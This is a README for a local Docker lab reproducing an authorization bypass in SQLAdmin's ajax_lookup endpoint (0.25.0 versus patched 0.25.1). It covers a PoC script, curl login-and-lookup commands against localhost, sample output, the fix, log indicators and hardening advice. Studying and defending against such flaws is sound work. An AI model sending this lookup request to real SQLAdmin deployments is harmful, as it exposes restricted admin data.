
This repository contains a local Docker lab for reproducing CVE-2026-46645, an authorization bypass vulnerability affecting SQLAdmin's ajax_lookup endpoint.
SQLAdmin is an admin interface for SQLAlchemy models in Starlette and FastAPI applications. The vulnerable behavior occurs when an application restricts a ModelView with is_accessible(request), but SQLAdmin's ajax_lookup route does not enforce the same access-control decision before returning lookup results.
This lab compares two SQLAdmin versions:
| Service | SQLAdmin version | Purpose | URL |
|---|---|---|---|
vuln | 0.25.0 | Vulnerable target | http://127.0.0.1:8001 |
patched | 0.25.1 | Patched comparison target | http://127.0.0.1:8002 |
The demonstrated vulnerability chain is:
Authenticated low-privileged user
→ restricted SQLAdmin ModelView
→ ModelView.is_accessible(request) returns False
→ user directly requests the ajax_lookup endpoint
→ SQLAdmin 0.25.0 returns relationship lookup data
→ SQLAdmin 0.25.1 blocks the same request with HTTP 403
The lab intentionally uses a simple Report / SecretProject data model to make the authorization bypass easy to understand. These model names are not the root cause of the vulnerability. They are only used to create a controlled reproduction condition.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
This lab uses sqladmin==0.25.0 as the vulnerable baseline and sqladmin==0.25.1 as the patched baseline.
The lab focuses on the authorization bypass condition where:
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
The lab does not attempt to reproduce every possible SQLAdmin deployment pattern. It intentionally creates a small Starlette application with one restricted admin view so the behavior difference between vulnerable and patched versions is easy to verify.
The Report and SecretProject models are lab-only objects. They are not part of SQLAdmin itself.
The PoC does not attempt privilege escalation, data modification, session theft, external callbacks, persistence, or attacks against non-lab systems.
The root cause is in SQLAdmin's upstream Admin.ajax_lookup() route, not in this lab's application code.
SQLAdmin allows developers to restrict access to admin views by overriding:
ModelView.is_accessible(request)
Other admin routes are expected to enforce this access-control decision before allowing the request to continue. For example, routes such as list, create, details, delete, edit, and export check whether the current request is allowed to access the target ModelView.
The vulnerable ajax_lookup route did not enforce the same access-control decision.
The ajax_lookup endpoint is used by SQLAdmin's form_ajax_refs feature to dynamically load relationship values. Its endpoint format is:
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
In the vulnerable version, ajax_lookup() resolves the target ModelView, reads the lookup field name and search term from the query string, then calls the AJAX loader and returns JSON results. The missing security step is that it does not first verify whether the current request is allowed to access that ModelView.
The security impact is that an authenticated user may be blocked from accessing a restricted admin view through normal UI routes, but can still directly request the AJAX lookup endpoint for that view and receive relationship lookup data.
SQLAdmin 0.25.1 fixes this by enforcing access control inside ajax_lookup(). The patched route checks model_view.is_accessible(request) and returns HTTP 403 when the target view is not accessible.
This lab defines ReportAdmin.is_accessible(request) to return False only to reproduce the vulnerable condition. The lab code is not the root cause. It is a controlled test harness that proves whether SQLAdmin's upstream ajax_lookup() route respects the access-control decision.
Expected behavior difference:
sqladmin 0.25.0 -> HTTP 200 with JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
The meaningful upstream patch is the addition of authentication and authorization enforcement to Admin.ajax_lookup().
The patched behavior is equivalent to:
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
The key authorization check is:
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
The lab demonstrates that this check is absent from the vulnerable version and present in the patched version.
The lab runs two isolated Starlette applications through Docker Compose.
.
├── app/
│ ├── __init__.py
│ └── main.py
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
├── requirements/
│ ├── patched.txt
│ └── vuln.txt
└── vuln/
└── Dockerfile
The two services run the same application code but install different SQLAdmin versions:
| Service | Package version | Port mapping |
|---|---|---|
vuln | sqladmin==0.25.0 | 127.0.0.1:8001 -> 8000 |
patched | sqladmin==0.25.1 |
The application creates two SQLAlchemy models:
SecretProject
Report
Report has a relationship to SecretProject:
Report.project -> SecretProject
ReportAdmin defines an AJAX relationship lookup:
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
The restricted admin view is:
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
This intentionally creates the condition needed to test whether SQLAdmin's ajax_lookup() route enforces is_accessible().
The vulnerable endpoint used by the PoC is:
/admin/report/ajax/lookup?name=project&term=Secret
Default lab credentials:
username: analyst
password: lab-password
requests package for running the PoC from the hostcurl for manual HTTP reproductionInstall the PoC dependency on the host if needed:
python3 -m pip install requests
Build and start the lab:
docker compose down --remove-orphans
docker compose up --build -d
Check container status:
docker compose ps
Expected exposed services:
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
Check health endpoints:
curl -i http://127.0.0.1:8001/health
curl -i http://127.0.0.1:8002/health
Both should return:
{"status":"ok"}
Open the admin UI in a browser if desired:
http://127.0.0.1:8001/admin
http://127.0.0.1:8002/admin
Login credentials:
analyst / lab-password
Run the PoC against the vulnerable service:
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
Run the same PoC against the patched service:
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
The PoC performs these steps:
1. Send POST /admin/login with the lab credentials.
2. Keep the returned session cookie.
3. Send GET /admin/report/ajax/lookup?name=project&term=Secret.
4. Print the HTTP status, content type, response body, and interpretation.
The PoC intentionally prints the request and response flow so the authorization bypass is visible to the reader.
You can reproduce the vulnerability manually without using poc/poc.py.
This is useful when you want to show the exact HTTP flow:
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
Set the vulnerable target URL:
TARGET="http://127.0.0.1:8001"
COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
Login as the lab user and save the session cookie:
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
Send the restricted ajax_lookup request:
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
Expected vulnerable result:
HTTP/1.1 200 OK
content-type: application/json
Expected body:
{
"results": [
{
"id": "1",
"text": "Secret Project Alpha"
},
{
"id": "2",
"text": "Secret Project Beta"
}
]
}
This confirms the vulnerable behavior because the request is authenticated, ReportAdmin.is_accessible(request) returns False, but SQLAdmin 0.25.0 still returns lookup data.
Set the patched target URL:
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
Login as the same lab user:
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
Send the same restricted ajax_lookup request:
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
Expected patched result:
HTTP/1.1 403 Forbidden
This confirms the patched behavior because SQLAdmin 0.25.1 enforces the missing ModelView.is_accessible(request) check inside ajax_lookup().
Vulnerable service:
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
Patched service:
curl -s -L \
-c /tmp/cve-2026-46645-patched.cookies \
-b /tmp/cve-2026-46645-patched.cookies \
-X POST http://127.0.0.1:8002/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-patched.cookies \
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
Expected comparison:
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
Vulnerable target:
================================================================================
Target: sqladmin 0.25.0 vulnerable
================================================================================
Base URL : http://127.0.0.1:8001
Login URL : http://127.0.0.1:8001/admin/login
Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8001/admin/login
form username='analyst'
form password=<hidden>
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8001/admin/
Cookies : {'session': '<redacted>'}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 200
Content-Type : application/json
Body:
{
"results": [
{
"id": "1",
"text": "Secret Project Alpha"
},
{
"id": "2",
"text": "Secret Project Beta"
}
]
}
================================================================================
Step 3 - Interpretation
================================================================================
[VULNERABLE SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 200 and JSON results.
This means an authenticated user could query lookup data even though
ReportAdmin.is_accessible(request) returned False.
Patched target:
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': '<redacted>'}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
The PoC uses the Python requests library and a persistent requests.Session() object.
First, it authenticates to SQLAdmin:
POST /admin/login
with the lab credentials:
analyst / lab-password
After login, the session object keeps the returned session cookie.
Then the PoC sends the restricted AJAX lookup request:
GET /admin/report/ajax/lookup?name=project&term=Secret
In the lab application, this request targets ReportAdmin.
ReportAdmin is intentionally inaccessible:
def is_accessible(self, request):
return False
This is the lab condition. It is not the upstream vulnerability.
The security question being tested is:
Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
On SQLAdmin 0.25.0, the endpoint returns HTTP 200 and JSON lookup results. This confirms the vulnerable behavior.
On SQLAdmin 0.25.1, the endpoint returns HTTP 403. This confirms the patched behavior.
Check running containers:
docker compose ps
Check service logs:
docker compose logs vuln patched
Check installed SQLAdmin versions:
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
Expected versions:
vuln -> Version: 0.25.0
patched -> Version: 0.25.1
Run the PoC again:
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
Save evidence output:
mkdir -p evidence
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable" \
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched" \
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
Inspect the installed vulnerable source:
docker compose exec -T vuln python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
Inspect the installed patched source:
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
The vulnerable version should not enforce model_view.is_accessible(request) inside ajax_lookup().
The patched version should include an authorization check equivalent to:
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
In a real application using SQLAdmin, suspicious activity may appear as direct requests to AJAX lookup endpoints:
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
For this lab, useful log indicators include:
GET /admin/report/ajax/lookup?name=project&term=Secret
Expected vulnerable log pattern:
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
Expected patched log pattern:
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
Potential production monitoring ideas:
/ajax/lookup endpoints,ModelView classes use form_ajax_refs,Upgrade SQLAdmin to 0.25.1 or later.
The patch adds missing access-control enforcement to the ajax_lookup route. The patched endpoint checks whether the current request is allowed to access the target ModelView. If is_accessible(request) returns False, the request is blocked with HTTP 403.
Application-level hardening recommendations:
ModelView.is_accessible() implementations,form_ajax_refs unless needed,/admin/*/ajax/lookup endpoints,Stop and remove containers and networks:
docker compose down --remove-orphans
Remove containers, networks, and anonymous volumes:
docker compose down -v --remove-orphans
Remove locally built images if desired:
docker image rm \
cve-2026-46645-sqladmin-vuln:0.25.0 \
cve-2026-46645-sqladmin-patched:0.25.1 \
2>/dev/null || true
Remove evidence files if desired:
rm -rf evidence/
This lab is for local security research and controlled demonstration only.
Do not run the PoC against systems you do not own or do not have permission to test.
Do not use real credentials, production secrets, or external targets in this lab.
The PoC is intentionally limited to local Docker services such as:
http://127.0.0.1:8001
http://127.0.0.1:8002
The PoC does not include payloads for credential theft, data modification, persistence, lateral movement, or external callbacks.
The goal is to demonstrate one specific authorization bypass condition in a controlled environment:
authenticated user
+ restricted ModelView
+ ajax_lookup request
+ vulnerable version returns data
+ patched version returns 403
GitHub Advisory Database: SQLAdmin Authorization Bypass on ajax_lookup
https://github.com/advisories/GHSA-54mc-gghv-4cfj
OSV Advisory: GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
SQLAdmin Release 0.25.1
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
SQLAdmin Compare: 0.25.0 to 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
SQLAdmin Authentication Tests
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
SQLAdmin AJAX Tests
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
PyPI: sqladmin
https://pypi.org/project/sqladmin/
SQLAdmin GitHub Repository
https://github.com/smithyhq/sqladmin
| Claim | Evidence | How to verify in this lab |
|---|
SQLAdmin's ajax_lookup endpoint is the affected component. | Public advisory describes the affected endpoint format as GET /{identity}/ajax/lookup?name=<field>&term=<query>. | Run the PoC and observe requests to /admin/report/ajax/lookup?name=project&term=Secret. |
SQLAdmin 0.25.0 is used as the vulnerable comparison target. | The lab installs sqladmin==0.25.0 in the vuln container. | Run docker compose exec -T vuln python -m pip show sqladmin. |
SQLAdmin 0.25.1 is used as the patched comparison target. | Public advisory and release notes identify 0.25.1 as the fixed version. | Run docker compose exec -T patched python -m pip show sqladmin. |
The root cause is in SQLAdmin's upstream Admin.ajax_lookup() route. | The patch adds missing authentication and is_accessible(request) enforcement to ajax_lookup(). | Inspect Admin.ajax_lookup() inside both containers with the commands in this README. |
The lab creates a restricted ModelView. | ReportAdmin.is_accessible(request) intentionally returns False. | Inspect app/main.py. |
| The PoC uses an authenticated session. | The PoC first logs in to /admin/login, keeps the session cookie, then requests ajax_lookup. | Run python3 poc/poc.py --base-url http://127.0.0.1:8001. |
| The vulnerable signal is data exposure. | SQLAdmin 0.25.0 returns HTTP 200 and JSON lookup results from a restricted view. | The vulnerable target should return Secret Project Alpha and Secret Project Beta. |
| The patched signal is access denial. | SQLAdmin 0.25.1 returns HTTP 403 for the same authenticated request. | The patched target should return 403 Forbidden. |
127.0.0.1:8002 -> 8000 |